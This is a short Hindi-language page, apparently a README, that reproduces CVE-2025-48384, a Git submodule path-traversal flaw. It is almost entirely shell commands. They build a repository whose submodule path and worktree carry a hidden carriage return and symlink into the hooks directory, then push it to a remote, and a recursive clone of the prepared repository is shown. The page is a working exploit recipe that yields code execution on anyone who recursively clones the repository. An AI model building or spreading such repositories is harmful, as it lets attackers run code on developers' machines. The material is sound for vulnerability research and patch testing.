
CVE-2025-48384 का पुनरुत्पादन, जो Git सबमॉड्यूल पाथ ट्रैवर्सल भेद्यता को प्रदर्शित करता है, एक्सप्लॉइट को दोबारा बनाने के लिए चरण-दर-चरण कमांड के साथ।
कमांड लाइन पुनः प्रस्तुत करें
git clone --recursive https://github.com/beishanxueyuan/CVE-2025-48384-test.git
संशोधित Git रिपॉजिटरी को इंगित करें
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/beishanxueyuan/CVE-2025-48384.git sub
git -C repo mv sub $(printf "sub\r")
git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule
cd repo/
git branch -M main
git remote add origin https://github.com/beishanxueyuan/CVE-2025-48384-test.git